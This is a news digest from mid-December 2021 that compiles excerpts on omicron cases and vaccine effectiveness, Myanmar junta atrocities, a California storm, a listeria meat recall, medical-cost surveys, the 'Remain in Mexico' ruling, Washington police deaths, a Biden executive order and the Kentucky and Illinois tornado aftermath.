SOURCE	https://www.q13fox.com/news/oregon-confirms-first-3-cases-of-omicron-variant
GIST	<p>OREGON - Oregon on Monday became the latest state to confirm cases of the omicron variant of COVID-19, officials said.</p> <p>The Oregon Health Authority on Monday said three cases of the variant were detected in the state — in Multnomah and Washington counties.</p> <p>Oregon Health & Science University Laboratory conducted the sequencing that detected the variant on Monday, state health officials said in a news release.</p> <p>The cases include a Washington County resident in their 30s who was tested Dec. 9 and had traveled to Mexico before experiencing COVID symptoms, officials said.</p> <p>Cases were also confirmed in a Washington County resident in their 20s and a Multnomah County resident in their 20s. All three were fully vaccinated and additional details on their conditions weren't immediately available, officials said.</p> <p>"We recognize this news is concerning to many people," said Dean E. Sidelinger, M.D., M.S.Ed., health officer and state epidemiologist at Oregon Health Authority. "However, if history is our guide, we do know that even if a vaccine doesn't target a specific variant, the strong immune response you get from being fully vaccinated can still be highly protective against severe disease from all COVID-19 variants."</p> <p>The omicron variant has been detected in more than half of the states in the U.S., including Washington and Idaho, according to the U.S. Centers for Disease Control and Prevention.</p>
Return to Top	

HEADLINE	12/14 Atrocities mount under Myanmar junta rule
SOURCE	https://www.latimes.com/world-nation/story/2021-12-14/myanmar-villagers-burned-alive
GIST	<p>SINGAPORE — One person appears to have been trying to crawl to safety. Two others are locked in a haunting embrace on the ground. A few of the corpses have their hands tied.</p> <p>The charred remains of the 11 villagers in northwestern Myanmar tell the grisly story of their final moments. They were rounded up and beaten by soldiers hunting down resistance fighters. Some, if not all, were shot before they were trapped inside a hut next to a betel farm and set alight.</p> <p>"We saw the smoke, but we thought the soldiers were just burning houses. Then someone close by came screaming and crying, saying, 'My friends are being burned,'" said Ko Sithu, a teacher in the village, Don Taw. "I felt helpless because there was nothing I could do. I've never seen anything like this in my life. I don't know how the junta could do such a thing."</p> <p>The Dec. 7 killings were reportedly in retaliation for a nearby bomb attack on a military convoy by guerrilla fighters, who have used landmines and improvised explosive devices to kill a growing number of soldiers. The slaughter of the villagers adds to a growing list of atrocities committed by the military junta, which seized power of the impoverished Southeast Asian nation in a Feb. 1 coup and has been fighting an intensifying battle against rebel volunteers since.</p>

The burned victims ranged in age from 14 to 40 and included four 17-year-olds, according to [a list](#) of the dead released by Myanmar's shadow civilian government. The oldest victim was paraplegic. The incident underscores the deepening crisis in Myanmar and the weakening chances of a diplomatic solution with a government increasingly [terrorizing](#) its own people.

"We are appalled by the alarming escalation of grave human rights abuses in Myanmar," said Rupert Colville, a spokesman for the United Nations Human Rights Office of the High Commissioner last week.

A separate U.N. group investigating crimes by the military in Myanmar, known as the Independent Investigative Mechanism for Myanmar, [said](#) it has accumulated more than 1.5 million items of evidence of abuse and atrocity, including photographs, videos, testimonies and social media posts since the military takeover.

At least 1,300 people have been killed by junta forces, including children and pregnant women, according to the Assistance Assn. for Political Prisoners, a Myanmar-based human rights group.

The killings are intensifying as the junta — facing months of condemnation by the international community — is moving to crush resistance. Unarmed civilians have been bludgeoned to death, [shot in the head by snipers](#), run over by speeding military vehicles and tortured and raped in prison. A Human Rights Watch report released this month detailed how security forces armed with assault rifles encircled protesters in a neighborhood in Yangon, Myanmar's largest city, and killed at least 65 demonstrators and bystanders.

The rights group said 200 soldiers were involved in the operation in the Hlaing Thar Yar industrial zone, firing indiscriminately on anti-coup protesters armed with only rocks, slings and Molotov cocktails.

"We weren't able to help those who were injured because they would shoot at us if we tried," said one witness about the March 14 massacre. "Some people who tried to help went forward anyway and they were shot in the head and died."

On Friday, the Myanmar Accountability Project, a London-based rights group, accused junta chief Senior Gen. Min Aung Hlaing of crimes against humanity before the International Criminal Court. The group said it submitted "clear evidence" that the use of torture in Myanmar is "widespread, systematic and the result of state-wide policies."

Myanmar was brought before the court [in 2019](#), when it was accused of genocide against the Rohingya Muslim ethnic minority. The country, also known as Burma, was defended at The Hague by civilian leader Aung San Suu Kyi, precipitating her fall from grace as a onetime symbol of human rights. The military has since silenced Suu Kyi, placing her under house arrest on [spurious charges](#) such as violating COVID-19 rules.

Myanmar has largely ignored the International Criminal Court's order to protect the Rohingya from genocide. Still, rights groups say opportunities may exist in the future should the government fall, similar to the way former Serbian leader Slobodan Milosevic stood trial at The Hague for war crimes.

"Rigorously documenting abuses in forensic detail is essential if there are ever to be guilty verdicts," said Chris Gunness, director of the Myanmar Accountability Project. "For universal jurisdiction to be applied, or for international justice mechanisms to kick in, it doesn't matter if a regime cares or not. They can still be held to account."

Aung Myo Min, minister for human rights for the civilian National Unity Government, whose members are in hiding, said it was critical that international rights groups continued to document the junta's abuses.

"Myanmar's legal system has been destroyed," he said. "We only have international law to punish them for their crimes."

The growing resistance to military rule — from long-established ethnic rebel groups and newly formed civilian groups known as People’s Defense Force made up of ethnic majority Bamar — guarantees more bloodshed and brutality, analysts say.

The military, known as the Tatmadaw, has spent the last six decades waging war with striking savagery on those who challenge its authority.

“Atrocities have always been an integral part of the military’s counterinsurgency operations, which are intended not only to target rebels but also terrorize the communities that support them,” said Richard Horsey, an analyst on Myanmar at the International Crisis Group. “Troops don’t need to be told to do these things, it’s in the military culture.”

Ko Sithu, the teacher in Don Taw, thought soldiers had come to clear land mines when they approached his village the morning they burned the 11 people.

He was sitting at a tea shop around 7 a.m. when he saw about 100 soldiers on foot followed by two military trucks. The soldiers began shooting toward the village. Ko Sithu fled for cover. No more than 10 minutes later, he saw smoke rising in the distance.

When he returned in the afternoon after the soldiers had left, he saw the remains of the burned victims. They were students and betel farmers.

“We are not sure whether all of them were tied up or not, but we are sure that at least two or three people were tied,” said Ko Sithu, 35. “Some of them looked like they struggled a lot to escape.”

A body of a woman with a gunshot wound to the head was also found near the scene.

Buddhist funerals were held for all the victims the next day. Ko Sithu said none were fighters, but most of them were mistaken for members of the People’s Defense Force because of their youth.

“The military should know that the people will never be afraid of them,” he said. “These atrocities only make them angrier and more willing to fight.”

[Return to Top](#)

HEADLINE	12/14 South Africa: Pfizer less effective omicron
SOURCE	https://www.reuters.com/business/healthcare-pharmaceuticals/pfizer-vaccine-protecting-against-hospitalisation-during-omicron-wave-study-2021-12-14/
GIST	<p>JOHANNESBURG, Dec 14 (Reuters) - Two doses of Pfizer-BioNTech's COVID-19 vaccine appear to have given 70% protection against hospitalisation in South Africa in recent weeks, according to a major real-world study which suggests weaker efficacy against the new Omicron variant.</p> <p>The study released on Tuesday by South Africa's largest private health insurance administrator, Discovery Health, was based on more than 211,000 positive COVID-19 test results. Around 78,000 of those results from Nov. 15 to Dec. 7 were attributed to Omicron.</p> <p>The 78,000 results are not confirmed Omicron cases, meaning the study cannot offer conclusive findings about the variant labelled "of concern" by the World Health Organization and reported in more than 60 countries.</p> <p>South African scientists have so far confirmed around 550 positive tests as being Omicron, with the variant accounting for 78% of sequences from November, more than the previously dominant Delta variant.</p>

South Africa alerted the world to Omicron late last month, triggering alarm that it could cause another surge in global infections, and leading to the imposition of travel restrictions on southern Africa. South Africa's daily infections have since risen to around 20,000 in recent days.

The findings from a real-world analysis are some of the earliest on protection against Omicron outside of lab studies, which have shown reduced neutralising activity against the variant.

Based on analysis by Discovery's (DSYJ.J) clinical research and actuarial teams, and in collaboration with the South African Medical Research Council (SAMRC), the study calculated that two doses of Pfizer-BioNTech offered 70% protection against hospitalisation compared with the unvaccinated during the recent surge in cases and 33% protection against infection.

It said this represents a drop from 80% protection against infection and compares with 93% efficacy against hospital admission during South Africa's outbreak of the Delta variant, which is the globally dominant variant and considered to be the most infectious to emerge during the pandemic.

Discovery cautioned that the study's findings should be considered preliminary.

Glenda Gray, SAMRC president, said it was however encouraging that the Pfizer-BioNTech (PFE.N), (22UAY.DE) vaccine appeared to be offering good protection against severe disease and hospitalisation.

South Africa is using the Pfizer-BioNTech and Johnson & Johnson (JNJ.N) vaccines in its COVID-19 immunisation campaign, with more than 20 million Pfizer doses administered so far.

J&J and the SAMRC are conducting a large real-world study of J&J's vaccine, and recent analysis has shown no deaths from Omicron, Gray said.

"So that's the good news, it shows again that the vaccine is effective against severe disease and death," she said.

EARLY DATA

With 70% or more of the South African population estimated to have been exposed to COVID-19 over the past 18 months, high estimated levels of antibodies in the population might be skewing the data.

"This could be a confounding factor for these hospital admission and severity indicators during this Omicron wave," Ryan Noach, chief executive of Discovery Health, said in a briefing on the study.

The analysis also shows protection against hospital admission is maintained across all ages, in people from 18 to 79 years, with slightly lower levels of protection for the elderly, it said.

Protection against admission is also consistent across a range of chronic illnesses including diabetes, hypertension, hypercholesterolemia, and other cardiovascular diseases.

It concluded that there was a higher risk of reinfection during the fourth wave than during previous waves and that the risk of hospitalisation among adults diagnosed with COVID-19 was 29% lower than during the country's first wave early last year.

Children appeared to have a 20% higher risk of hospital admission with complications during the fourth wave than during the first, despite a very low absolute incidence, it said.

"This is early data and requires careful follow up," said Shirley Collie, chief health analytics actuary at Discovery Health.

However, this trend aligns with a warning a recent days from South Africa's National Institute for Communicable Diseases (NICD) that during the country's third wave from June to September they had

	<p>seen an increase in paediatric admissions and now, in the fourth wave, they are seeing a similar increase in admissions for children under five, she said.</p> <p>South African scientists have said they cannot confirm a link between Omicron and the high admissions of infants, which could be due to other factors.</p> <p>Considerable uncertainties surround Omicron, first detected last month in southern Africa and Hong Kong, whose mutations may lead to higher transmissibility and more cases of COVID-19 disease.</p> <p>The WHO has said there were early signs that vaccinated and previously infected people would not build enough antibodies to ward off an Omicron infection, resulting in high transmission rates.</p> <p>It is unclear whether Omicron is inherently more contagious than the globally dominant Delta variant, the WHO said.</p> <p>Pfizer and BioNTech said last week that two shots of their vaccine may still protect against severe disease, because its mutations were unlikely to evade the T-cells' response.</p>
Return to Top	

HEADLINE	12/14 Big Calif. storm dumps snow, heavy rain
SOURCE	https://apnews.com/article/floods-california-nevada-environment-and-nature-storms-7c7b6a58bbb9116b6bf963d194307d57
GIST	<p>SAN FRANCISCO (AP) — Motorists spun out on whitened mountain passes and residents wielded umbrellas that flopped in the face of fierce winds as Northern California absorbed even more rain and snow on Monday, bringing the possibility of rockslides and mudslides to areas scarred by wildfires following an especially warm and dry fall across the U.S. West.</p> <p>Kirkwood Mountain Resort was closed Monday, saying on social media that it was not safe to open with 17 inches (43 centimeters) of overnight snow and high winds. A California Highway Patrol car in Truckee nudged a big-rig up a snowy hill while smaller vehicles spun out, resulting in minor bumps and bruises but no real injuries, CHP Officer Carlos Perez said.</p> <p>“It’s just so bad and so thick,” he said of the snowfall, with more expected Monday night. “We’re telling people that if they don’t need to be around this area, they probably shouldn’t travel.”</p> <p>The multiday storm, a powerful “atmospheric river” weather system that is sucking up moisture from the Pacific Ocean, raised the threat of flooding and was expected to dump more than 8 feet (2.4 meters) of snow on the highest peaks in California and Nevada and drench other parts of the two states before it moves on midweek, forecasters said.</p> <p>The storm will bring much needed moisture to the broader region that’s been gripped by drought that scientists have said is caused by climate change. The latest U.S. drought monitor shows parts of Montana, Oregon, California, Nevada and Utah are classified as being in exceptional drought, which is the worst category.</p> <p>Most western U.S. reservoirs that deliver water to states, cities, tribes, farmers and utilities rely on melted snow in the springtime.</p> <p>This week’s storm is typical for this time of the year but notable because it’s the first big snow that is expected to significantly affect travel with ice and snow on the roads, strong winds and limited visibility, said National Weather Service meteorologist Anna Wanless in Sacramento.</p> <p>“Most of California, if not all, will see some sort of rain and snow,” she said.</p>

Meanwhile, gusts were so strong in and around San Francisco that state transportation officials issued a wind advisory for the Bay Bridge connecting the city to Oakland and warned drivers of campers and trailers to avoid the 4.5-mile (7.2-kilometer) span late Sunday.

The welcome rain didn't stop Oakland resident and artist Zhenne Wood from walking her neighbor's dog, a short-legged corgi.

"I decided to stay home today and not go anywhere, which is nice," she said. "And I'm really happy for the rain. I think we needed it a lot."

The storm prompted officials to shut down a 40-mile (64-kilometer) stretch of the iconic Highway 1 in California's Big Sur area until Tuesday. The scenic coastal route south of the San Francisco Bay Area, frequently experiences damage during wet weather.

Nearby Monterey County residents who live close to burn scars from last year's Dolan Fire were warned to be prepared to evacuate if rains loosen hillsides and cause debris flows while in Southern California, Los Angeles County fire officials urged residents to be aware of the potential for mud flows.

In coastal Santa Barbara County, residents of mountain communities near the Alisal Fire burn scar were ordered Monday to evacuate over concerns that heavy rains might cause flooding and debris flows that could inundate hillside homes. Officials didn't say how many people were affected by the order. A similar order was issued for people living in several communities near another burn scar in the San Bernardino Mountains, more than an hour's drive east of Los Angeles.

Forecasters said strong winds accompanying the storm could lead to power outages. Karly Hernandez, a spokesperson for Pacific Gas & Electric, said crews and equipment are staged across the state to respond if the power goes out.

The second storm predicted to hit California midweek shortly after the current storm moves on could deliver almost continuous snow in mountainous areas, said Edan Weishahn of the weather service in Reno, which monitors an area straddling the Nevada state line.

Donner Summit, one of the highest points on Interstate 80 and a major commerce commuter route, could face major travel disruptions or road closures, Weishahn said.

Vail Resorts' three Tahoe-area ski resorts opened with limited offerings over the weekend after crews produced artificial snow. Northstar and Heavenly were both able to open Monday, but Kirkwood could not, said spokeswoman Sara Roston.

[Return to Top](#)

HEADLINE	12/13 Recall expands: ham, pepperoni products
SOURCE	https://www.cbsnews.com/news/2-3-million-pounds-ham-pepperoni-recalled-listeria-found/
GIST	<p>A recall of fully cooked ham and pepperoni products shipped to retail stores nationwide has ballooned to more than 2.3 million pounds that may be contaminated with listeria — 10 times more than first announced.</p> <p>Alexander & Hornung, a St. Clair Shores, Michigan-based business unit of Perdue Premium Meat Co., initially recalled 230,391 pounds after product sampling detected the bacteria that can cause serious infection, according to a notice posted by the U.S. Department of Agriculture's Food Safety and Inspection Service, or FSIS.</p> <p>But that recall initiated on December 5 had expanded dramatically to cover 2,320,774 pounds by December 11, FSIS said.</p>

The recall now includes 27 products bearing the establishment number "EST. M10125" inside the USDA mark of inspection. The numerous meat brands being recalled include Alexander & Hornung, Amish Valley, Big Y, Butcher Boy, Five Star, Food Club, Garrett Valley Farms, Lancaster, Niman Ranch, Open Nature and Wellshire Wood.

See the full list [here](#).

Photos of the Alexander & Hornung branded fully cooked products and private label can be found [here](#).

Usually caused by eating contaminated food, listeria is a serious infection that hits about 1,600 Americans each year, killing around 260 people annually. The infection is most likely to sicken pregnant women and their newborns, adults ages 65 or older, and people with weakened immune systems, [according](#) to the Centers for Disease Control and Prevention.

Symptoms include fever, muscle aches, headache, stiff neck, confusion, loss of balance and convulsions, sometimes preceded by diarrhea or other gastrointestinal symptoms. The infection is treated with antibiotics.

There have not been any confirmed reports of adverse reactions due to consuming the products, the company said, adding that they should be discarded or returned to the place of purchase.

The recalled products were produced on various dates and FSIS is concerned some may still be in people's refrigerators or freezers.

Consumers with questions can call (866) 866-3703 Monday through Friday 9 a.m. to 6 p.m. EST.

[Return to Top](#)

HEADLINE	12/14 Surge: skipping medical care due to cost
SOURCE	https://www.cbsnews.com/news/health-care-americans-cost-rising/
GIST	<p>Nearly a third of Americans — triple the share since March — say they've skipped medical care for a health problem in the previous three months due to concerns about the cost, according to a new study from Gallup and West Health.</p> <p>High medical costs are even impacting higher-income Americans, with 1 in 5 households earning more than \$120,000 annually saying they also have bypassed care, the research shows. That's an almost seven-fold increase for higher-income families since March.</p> <p>The surge in Americans who avoid medical care because of financial concerns comes as COVID-19 cases are flaring across much of the nation and after many people had put off seeking routine care during the initial phase of the pandemic. Now that more are catching up on doctors' visits, they are facing often onerous costs. Some health expenses have increased in the past year, such as prescription medications, with drug prices outpacing inflation.</p> <p>Skipping treatment can have dire outcomes, and the survey found that almost 13 million Americans know a friend or family member who died because they couldn't afford medical care. And 20% of adults say they or someone in their household has had a health issue worsen after postponing care because of its price.</p> <p>When six figures isn't enough</p> <p>"Americans tend to think there is a group of lower-income people and they have worse health care than the rest of us, and the rest of us, we're OK," said Tim Lash, chief strategy officer for West Health, a nonprofit focused on lowering health care costs. "What we are seeing now in this survey is this group of people who are identifying themselves as struggling with health care costs is growing."</p>

He added, "It's moving beyond those who might be considered average or lower income relative to the national mean, and moving all the way up to those making over \$120,000."

About 23% of Americans say that paying for health care represents a major financial burden, with that figure reaching a third for people who earn less than \$48,000 a year. Out-of-pocket costs like deductibles and insurance premiums have been rising, taking a bite out of household budgets.

"We often overlook the side effect of cost, and it's quite toxic — there is a financial toxicity that exists in health care," Lash said. "We know when you skip treatment, that can have an impact on mortality."

From 2009 to 2020, medical bills were the largest source of debt in the U.S., with a record \$140 billion owed last year, according to a July study from the Journal of the American Medical Association.

"Broken" medical system

Among those experiencing financial pain from health care is Angie Korol, who participated in the Gallup-West Health study. The researchers spoke with more than 6,000 people in September and October about their concerns and experiences with affording health care treatment.

Korol, of Gresham, Oregon, said her family is covered by her husband's employer-based health care, but that they pay insurance premiums of about \$2,200 a month for herself and their child.

"It's not great for our budget," said Korol, 40, an accounting student. "We're making it, but some months are scraping by our teeth."

Korol said she'd opted to delay medical care in the past. Prior to the pandemic, her family was on the state's Medicaid program — and she was worried that legal challenges to the Affordable Care Act would eventually again permit health insurers to snub people with pre-existing conditions.

As a result, Korol delayed getting a diagnosis for an autoimmune disorder for more than a year. Now that she's received a diagnosis, she's facing a two-month delay to see a rheumatologist due to strong patient demand.

"It shouldn't take two months to get into the rheumatic arthritis person," she said. "It makes me feel worried, because what if it takes longer the next time?"

The medical system "is broken," Korol added.

High costs, low value

Americans are increasingly skeptical that they're getting their money's worth when it comes to medical care, the study found. About 52% adults said their most recent health care experience wasn't worth the cost, up from 43% in April. Overall, 9 in 10 Americans say people are paying too much for the quality of health care they are receiving.

"If you survey consumers, people want to believe we have the best care and therefore get the best value," Lash said. "People are opening their eyes to the fragility of the medical system and its inability to solve all problems for us."

The U.S. health care system "outperforms" on cost — Americans pay more for medical care than citizens of any other developed nation — but "by just about every other measure, like life expectancy, infant mortality, you name it, we're at the bottom," Lash said.

[Return to Top](#)

HEADLINE	12/14 Court upholds revival 'Remain in Mexico'
SOURCE	https://www.cbsnews.com/news/appeals-court-upholds-order-requiring-revival-of-remain-in-mexico-border-policy/

GIST

A federal appeals court on Monday night upheld a lower court order that required the U.S. to reinstate the so-called "Remain in Mexico" program along the southern border, complicating the Biden administration's efforts to terminate a Trump-era policy it has strongly denounced.

Agreeing with a ruling from U.S. District Judge Matthew Kacsmaryk, a three-judge panel at the Fifth Circuit Court of Appeals said the Biden administration's decision to terminate the policy earlier this year violated legal administrative procedures and federal immigration law.

Officially called the Migration Protection Protocols, or MPP, the policy devised by the Trump administration required 70,000 non-Mexican migrants to wait in Mexico, often in squalid encampments and crime-ridden border towns, while their asylum requests were processed by U.S. courts.

The protocols were suspended in January, hours after the inauguration of President Biden, who denounced the policy as inhumane during the 2020 presidential campaign. In June, Homeland Security Secretary Alejandro Mayorkas signed a memo terminating the program, calling it ineffective.

Republican officials in Texas and Missouri sued the administration over the policy's termination and persuaded Kacsmaryk to order its reinstatement in August. The administration asked the Fifth Circuit and the Supreme Court to suspend Kacsmaryk's order — but its requests were denied.

In late October, Mayorkas issued a new termination memo to address the concerns raised by Kacsmaryk. He also forcefully condemned the policy's "unjustifiable human costs."

But in the panel's scathing 117-page opinion on Monday, U.S. Circuit Judge Andrew Oldham rejected the administration's legal argument that the case had been rendered moot by the publication of a second termination memo.

"DHS claims the power to implement a massive policy reversal — affecting billions of dollars and countless people — simply by typing out a new Word document and posting it on the internet," Oldham wrote in his opinion.

The panel said the suspension of the protocols was "arbitrary and capricious" and contrary to federal administrative law. The judges also concluded the termination prompted U.S. officials to violate an immigration law that requires the detention of some migrants, since there's currently not enough detention capacity to hold them.

Oldham was appointed to the federal bench in 2018 by former President Donald Trump. The panel's other members, U.S. Circuit Judges Rhesa Barksdale and Kurt Engelhardt, were appointed by former President George H. W. Bush and Trump, respectively.

After months of negotiations with the Mexican government, the Biden administration restarted a version of the Remain in Mexico program last week to comply with the August court ruling.

So far, the implementation of the policy has been limited to El Paso, Texas, where U.S. border officials have returned 86 migrants to Mexico, according to the International Organization for Migration, which is transporting the asylum-seekers to shelters in Ciudad Juárez.

DHS has said it plans to expand the policy across the entire U.S.-Mexico border, including in Texas' Rio Grande Valley, the busiest sector for illegal crossings.

U.S. border officials are also using a public health authority first invoked by the Trump administration to rapidly expel most migrant adults and some families with children. Migrants subjected to the policy, known as Title 42, are not allowed to apply for asylum before a U.S. immigration court.

	<p>To address "humanitarian" concerns raised by the Mexican government, the Biden administration made several changes to the Remain in Mexico protocols, including expanding the categories of asylum-seekers determined to be too vulnerable to be enrolled in the program.</p> <p>U.S. officials said they are offering migrants Covid-19 vaccinations and asking them whether they fear being harmed in Mexico before sending them there. The U.S. has also pledged to divert migrants from areas of northern Mexico where the State Department warns Americans not to visit because of violent crime.</p> <p>The modifications, however, have not assuaged the concerns expressed by progressive advocates who argue the Trump-era policy will place migrants in harm's way and trample on their due process rights.</p>
	Return to Top

HEADLINE	12/13 Fatal WA police encounters fall to 5yr-low
SOURCE	https://www.kuow.org/stories/fatal-police-encounters-in-washington-fall-to-five-year-low
GIST	<p>In the wake of 2020's protests against police violence, Washington state passed a series of new police reform laws. They restrict how and when police can use force, and expand the penalties they can face for misconduct.</p> <p>Now there's intriguing new data about police interactions in Washington state. The number of people who died in police encounters in the first 11 months of 2021 declined more than 60% from the year before.</p> <p>In the last decade, the number of people who died during encounters with police had been climbing faster than the rate of population growth. This year, that trajectory appears to have changed.</p> <p>Leslie Cushman is with the Washington Coalition for Police Accountability, which held a press conference December 9.</p> <p>"As of today there are 18 deaths this year compared to 46 this time last year. That's big news," she said.</p> <p>Police reform advocates started to notice the decline in fatal police encounters last spring. Martina Morris is a retired statistics professor with the University of Washington. She has used data compiled by the Fatal Encounters Project and other sources to analyze deadly police encounters in Washington on behalf of the advocacy group Next Steps Washington.</p> <p>Morris said the absence of any fatal police encounters in April and July this year got her attention.</p> <p>"When we hit those 'zero months' — and we hadn't had a zero month since 2015 — I started telling people, 'I think I'm seeing something in the data,'" Morris said. "So people have been very excited about this, I think also cautiously optimistic."</p> <p>Morris said the decline doesn't coincide with the pandemic, because 2020 still saw an increase in fatal encounters. And she notes that other states are not showing similar reductions. But she said she'd like to see five more years of data to feel more certain.</p>
	Return to Top

HEADLINE	12/13 EO directs govt. improve customer service
SOURCE	https://www.washingtonpost.com/politics/biden-to-sign-executive-order-to-improve-customer-experience-when-accessing-government-services/2021/12/13/9787adea-5c08-11ec-bda6-25c1f558dd09_story.html
GIST	<p>President Biden on Monday signed an executive order seeking to streamline and modernize a vast array of government services that directly affect Americans, such as claiming retirement benefits, renewing passports and filing taxes.</p>

Since taking office, Biden has repeatedly emphasized his desire to show that government can work for its citizens. Monday's order is among the most concrete actions he has taken to seek to deliver on that pledge.

During an Oval Office signing ceremony, Biden said that the order would ensure that the federal government puts "people at the front of the line" and ticked off a few promised benefits, including using better technology to speed security lines at airports and making tax-filing less cumbersome.

"I know it sounds like a simple thing," he said. "I think it's pretty consequential."

In a "fact sheet" released ahead of the signing, the White House detailed numerous other examples of interactions with government "customers" that can be improved through more online access and streamlined application processes.

"Whether searching for vaccine safety information, claiming retirement benefits, receiving health insurance, passing through a security checkpoint, or checking the status of a farm loan application, Americans expect Government services to be responsive to their needs," the fact sheet said. "But too often, people have to navigate a tangled web of Government websites, offices, and phone numbers to access the services they depend on."

The executive order identifies 36 "customer experiences" across 17 federal agencies that can be improved.

At a news briefing, White House press secretary Jen Psaki said the actions would take several months to implement.

She, too, cited several examples, including "making Social Security benefits easier to access online so retirees don't have to go into offices if they don't want to, saving them time and big headaches."

Psaki also noted that Americans would be allowed to renew passports online "instead of having to print forms and pay with a paper check or money order."

Many of the promised improvements involve new online tools.

Biden is also pledging to overhaul [USA.gov](https://www.usa.gov/), which the White House describes as a "digital Federal front door" to access government services.

The signing of the executive order comes as Biden's job approval number continue to sag and many Americans question his stewardship of the economy.

He signed the order from the Oval Office flanked by nearly a dozen heads of departments and agencies that provide the services he pledges to improve.

[Return to Top](#)

HEADLINE	12/13 Ample warning but tornado deaths high?
SOURCE	https://www.washingtonpost.com/weather/2021/12/13/tornado-warnings/
GIST	<p>Despite accurate forecasts and timely warnings, Friday night's tornado outbreak was December's deadliest on record. Researchers of many stripes, from engineers and forecasters to social scientists, now face the burning question: Why?</p> <p>Experience from past tornado disasters assures that the answers will be complex and multidimensional, taking months if not years to pin down.</p> <p>But the evidence suggests the timing of the tornadoes, coming in the dark of night, their exceptional intensity and the population density of the region hit were all key factors in the catastrophe — which advanced warning could not overcome.</p>

The storms shouldn't have been a surprise. From long-range outlooks to immediate warnings, there was ample notice that trouble was brewing. [In the predawn hours Thursday](#), more than 36 hours before the first twisters developed, the National Weather Service Storm Prediction Center placed the hardest-hit areas under a level 3 out of 5 risk of severe weather, later upgraded to [level 4](#). The center noted that "several tornadoes, some strong, will be possible."

Most of the four-state zone ravaged by the tornadic storm, from northeast Arkansas to western Kentucky, was covered by a tornado watch [at 3 p.m. Central Friday](#), hours before it even formed. [At 6:22 p.m.](#), a Weather Service discussion noted the formation of what computer models had projected as a potential long-lived tornado producer. The center warned that "sustained, strong tornadoes are possible in the next few hours" over the quad-state area.

As the rotating storm began causing mayhem, strongly worded Weather Service tornado warnings gave downstream residents advance notice, often on the order of 30 minutes. Weathercasters and meteorologists on social media amplified these messages, stressing the unusual danger of the setup.

For tornado researchers, watching a near-certain calamity unfold was a sobering experience.

"When you have a violent, long-tracked tornado traveling at highway speeds overnight, in December ... it's quite literally a recipe for disaster," wrote Stephen Strader, an assistant professor and director of the geography program at Villanova University, in an email. "It overwhelms the systems we put in place to protect people."

Ultimately, even the best warnings can't eliminate the inherent danger of an outbreak as widespread and intense as Friday's, Strader noted.

"Adequate warning does not always ensure that people will take shelter, can take shelter, or know the quality of their shelter (home)," Strader wrote. "When this fails, all we can do is hope the structures they are in are sturdy enough to withstand the tornado. Unfortunately, many are not."

The outbreak's timing made it particularly perilous: It intensified and peaked after dark. For anyone at risk who might have doubted that a truly catastrophic tornado was approaching in December, the darkness made it much harder to confirm the threat with their own eyes.

A [landmark 2008 paper](#) led by Walker Ashley from Northern Illinois University found that nighttime tornado deaths were not declining as rapidly as daytime deaths, thus heightening the relative after-dark threat. In fact, overnight tornadoes were 2.5 times more likely to kill than twisters during the daytime.

Strader is now working with Ashley and colleagues on an update to that paper, which had found that nighttime tornadoes — about 26 percent of the total from 1985 to 2005 — accounted for more than 42 percent of tornado deaths in that period.

Strader estimates that [some 40,000 people](#) were under the path of the quad-state tornadic storm's radar-indicated rotation (or [mesocyclone](#)). The associated tornado path would be somewhat narrower.

Much of the area hit by the quad-state tornadic storm lies within the service area of the National Weather Service office in Paducah, Ky. The area was a standout in a national survey on how people across the country receive, comprehend and respond to tornado warnings.

The results, published in a [2020 paper](#) and on a dedicated [website](#), found that the average respondent in the Paducah area scored higher than 60 percent of the national average on a basic test of what tornado watches and warnings denote. That performance placed the area in the top five among more than 100 Weather Service areas.

Responding to a tornado threat when away from home

Even with knowledge at hand, people are often constrained when a tornado approaches simply by their current location. There's been much attention paid to how people respond at home when a warning is issued — finding a small interior room, for example, or leaving a manufactured home — but less attention paid to what happens in a workplace or a store.

An increasing number of schools and businesses in the South have begun to shut down on springtime afternoons and evenings when an especially intense severe weather threat is predicted. However, the custom has been slower to spread to other times of day and other times of the year.

In both the Amazon warehouse in Illinois and the Mayfield, Ky., candle factory, where many people died, there were reportedly designated tornado shelters or shelter areas accessed by a number of employees. Yet multiple people still perished at those workplaces. That's not a complete shock, given the obvious destruction, but it's still a gnawing challenge for those who study tornado response.

"We're often thinking about trying to reach individuals who have control of their settings," said Kim Klockow-McClain, a meteorologist and social science researcher at the University of Oklahoma and the National Severe Storms Laboratory. "We think of them at home. That's a static view of vulnerability."

"When people go to work or to a business, it's situational vulnerability — the situation you find yourself in when a tornado occurs."

Klockow-McClain is part of a multi-institutional study of how businesses approach the severe weather threat when armed with the kind of probabilistic tornado warnings now being developed by the Weather Service. According to the authors, it's the first time research on the new warning paradigm has been extended from the residential to the commercial setting.

In [two recent papers](#) on the project, the team reported that entities surveyed in North Texas seem to grasp the value of probabilistic information: "Our results suggest that when probabilities are added to the warnings, response mirrors the threat and allows businesses to make better informed decisions on when and how to respond."

Despite his dismay over the toll of the December outbreak, Strader is encouraged by a community's ability "to rally around each other" and bounce back.

"From a science standpoint, this presents an opportunity to learn and improve survivability with future events," Strader wrote. "The coming months will reveal details [on the outbreak] stretching from meteorology to climate change to engineering to emergency management. Time will tell."

[Return to Top](#)

HEADLINE	12/13 OSHA probes Amazon warehouse collapse
SOURCE	https://www.washingtonpost.com/technology/2021/12/13/osha-investigating-amazon-warehouse/
GIST	<p>Federal regulators are investigating the collapse of an Amazon warehouse in Edwardsville, Ill., which occurred Friday night during a tornado in the region.</p> <p>The Occupational Safety and Health Administration confirmed Monday that compliance officers have been at the building collapse since this weekend. It has six months to conduct the investigation, it said in a statement. (Amazon founder Jeff Bezos owns The Washington Post.)</p> <p>The 1.1-million-square-foot Amazon facility was severely damaged Friday when a tornado ripped through the area. Six people died in the building, and a seventh was injured, Gov. J.B. Pritzker said at a news conference Monday.</p> <p>An investigation to look at potential structural issues and ensure that the building is up to code is ongoing, officials said at the news conference. Amazon spokeswoman Kelly Nantel said at the conference that the Amazon facility was "constructed consistent with code."</p>

As the state experiences more severe storms because of climate change, the building codes may need to be updated, Pritzker said at the conference.

“Suffice it to say that’s something we are deeply concerned about, to make sure code is where it ought to be,” he said.

He added that the Amazon facility does not have a basement because the industrial area is prone to flooding and builders cannot dig far down.

Most of the 46 workers inside the building gathered at a “take shelter” location on the north side of the building, Amazon said. “Generally speaking, it’s in an area where there are no windows, so it’s a safer space to be in the building,” Nantel said.

But seven people on the south side of the building sheltered outside the designated “take shelter” area. Amazon thinks the workers were on the south side of the building “because of the work they were doing at the time,” Nantel said. Six of the people on the south side of the building died, and the seventh was injured.

It’s unclear exactly how much warning workers were given to reach the sheltered area. Nantel said they had “minutes.”

